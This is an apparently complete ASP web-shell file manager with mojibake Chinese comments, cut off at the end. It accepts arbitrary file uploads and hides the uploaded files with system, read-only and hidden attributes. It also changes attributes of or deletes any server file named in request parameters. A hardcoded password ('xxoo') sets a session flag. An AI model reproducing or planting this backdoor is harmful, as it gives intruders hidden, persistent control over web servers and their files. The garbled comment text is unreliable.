% '------上傳文件操作------ If request.QueryString("action")="upload" Then Call doUpload("./")'以原文件名保存到upload下面 "./"和當(dāng)前文件同一路徑,默認(rèn)為upload End If Function doUpload(Byval savePath) Dim vData, vSplit, SplitStart, SplitEnd, ValueEnd, path, value Dim vdata1, Str, FormNameStart, FormNameEnd, FormName, FileNameStart, FileNameEnd, FileName, ContentType vData = request.BinaryRead(request.TotalBytes) SplitStart = instrb(vData,chrb(13) & chrb(10)) '找到分隔字符串的位置 vSplit = midb(vData, 1, SplitStart - 1) '取出分隔符 SplitEnd = instrb(vData,chrb(13) & chrb(10) & chrb(13) & chrb(10)) '找到文件數(shù)據(jù)的開(kāi)始位置 '讀出數(shù)據(jù)前面的描述部分,類似于 'Content-Disposition: form-data; name="file1"; filename="D:\TempFiles\a.jpg" 'Content-Type: image/pjpeg vdata1 = midb(vData,SplitStart + 2,SplitEnd - SplitStart - 2) str = BinToGB(vdata1) FormNameStart = instr(1,str,"name=""") + 6 FormNameEnd = instr(FormNameStart,str,"""") FormName = Mid(str,FormNameStart,FormNameEnd-FormNameStart) '讀出表單名字 FileNameStart = instr(1,str,"filename=""")+10 FileNameEnd = instr(FileNameStart,str,"""") FileName = Mid(str,FileNameStart,FileNameEnd-FileNameStart) '讀出文件在客戶端的路徑 FileName = Replace(FileName,"/","\") FileName = split(FileName,"\")(ubound(split(FileName,"\"))) '讀出文件名字 SplitEnd = SplitEnd + 4 '數(shù)據(jù)真正開(kāi)始的位置 ValueEnd = instrb(SplitEnd,vData,vSplit) '找到數(shù)據(jù)結(jié)束位置 value = midb(vData,SplitEnd,ValueEnd-SplitEnd-2) '取出數(shù)據(jù) '保存文件的代碼,因?yàn)閟tream直接寫(xiě)入value會(huì)出錯(cuò),因此用adodb.recordset轉(zhuǎn)換一下 Dim tmpStrm Set tmpStrm = server.CreateObject("adodb.stream") tmpStrm.mode=3 tmpStrm.type= 1 tmpStrm.open() Dim Info : Set Info = server.CreateObject("ADODB.Recordset") Info.Fields.Append "value", 205,-1 Info.open() Info.addNew() Info("value").appendChunk(value) tmpStrm.write(Info("value")) Info("value").appendChunk(null) Info.update() Info.Close() Set Info = Nothing '查找文件 Set fs=Server.CreateObject("Scripting.FileSystemObject") if fs.FileExists(server.MapPath(FileName)) then '判斷文件是否存在 'response.write "該文件已存在" '設(shè)置文件屬性(權(quán)限) Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath(FileName))'要設(shè)置屬性的文件名 f.attributes = 0'先設(shè)置文件為可讀寫(xiě),在刪除文件,刪除成功后在上傳覆蓋文件 '設(shè)置文件屬性(權(quán)限) fs.DeleteFile server.MapPath(FileName),true '刪除文件 if fs.FileExists(server.MapPath(FileName)) then '判斷文件是否存刪除成功 response.write "" '這里是該文件已存在 else 'response.write "文件刪除成功" ''這里是該文件不存在 tmpStrm.saveToFile server.MapPath(savePath) & "\" & FileName,2 '以原文件名保存到upload下面 //存放路徑,為空表示當(dāng)前路徑,默認(rèn)為upload if fs.FileExists(server.MapPath(FileName)) then '判斷文件是否上傳成功 response.write "" '設(shè)置文件屬性(權(quán)限) Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath(FileName))'要設(shè)置屬性的文件名 f.attributes = 7'設(shè)置文件屬性,設(shè)置為:系統(tǒng)+只讀+隱藏 '設(shè)置文件屬性(權(quán)限) else response.write "" end if end if else tmpStrm.saveToFile server.MapPath(savePath) & "\" & FileName,2 '以原文件名保存到upload下面 //存放路徑,為空表示當(dāng)前路徑,默認(rèn)為upload if fs.FileExists(server.MapPath(FileName)) then '判斷文件是否上傳成功 response.write "" '設(shè)置文件屬性(權(quán)限) Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath(FileName))'要設(shè)置屬性的文件名 f.attributes = 7'設(shè)置文件屬性,設(shè)置為:系統(tǒng)+只讀+隱藏 '設(shè)置文件屬性(權(quán)限) else response.write "" end if end if tmpStrm.close() Set tmpStrm = Nothing doUpload = FileName End Function '二進(jìn)制轉(zhuǎn)GB函數(shù) Function BinToGB(Bin) Dim i,tAsc,str for i=1 to lenb(Bin) tAsc = ascb(midb(bin,i,1)) if tAsc<128 Then str = str & chr(tAsc) Else i = i+1 str = str & chr(clng("&H" & hex(tAsc) & hex(ascb(midb(bin,i,1))))) End if Next BinToGB = str End Function %> <% '------修改文件權(quán)限操作------ If request.QueryString("action")<>"upload" Then if request("wjsx") <> "" then fileName=request("fileName") '獲取Post提交過(guò)來(lái)的文件名 wjsx=request("wjsx")'獲取Post提交過(guò)來(lái)要改成的屬性 Set fs=Server.CreateObject("Scripting.FileSystemObject") if fs.FileExists(server.MapPath(fileName)) then '判斷文件是否存在 'response.write "該文件已存在" Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath(fileName))'要設(shè)置屬性的文件名 if f.attributes <> wjsx then f.attributes = wjsx'設(shè)置文件屬性 end if if f.attributes = 0 then response.write "" end if if f.attributes = 7 then response.write "" end if else response.write "" end if end if End If %> <% '------刪除文件操作------ If request.QueryString("action")<>"upload" Then if request("attachPath") <> "" then attachPath=request("attachPath") '獲取Post提交過(guò)來(lái)的文件名 Set fs=Server.CreateObject("Scripting.FileSystemObject") if fs.FileExists(server.MapPath(attachPath) ) then '判斷文件是否存在 'response.write "該文件已存在" Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath(attachPath))'要?jiǎng)h除的文件名 f.attributes = 0'先設(shè)置文件為可讀寫(xiě),在刪除文件 fs.DeleteFile server.MapPath(attachPath) ,true '刪除文件 if fs.FileExists(server.MapPath(attachPath) ) then '判斷文件是否存刪除成功 response.write "" '這里是該文件已存在 else response.write "" '這里是該文件不存在 end if else response.write "" end if end if End If %> <% on error resume next %> <% if request("pass")="xxoo" then '在這修改密碼 session("pw")="go" end if %> <%if session("pw")<>"go" then %> <%="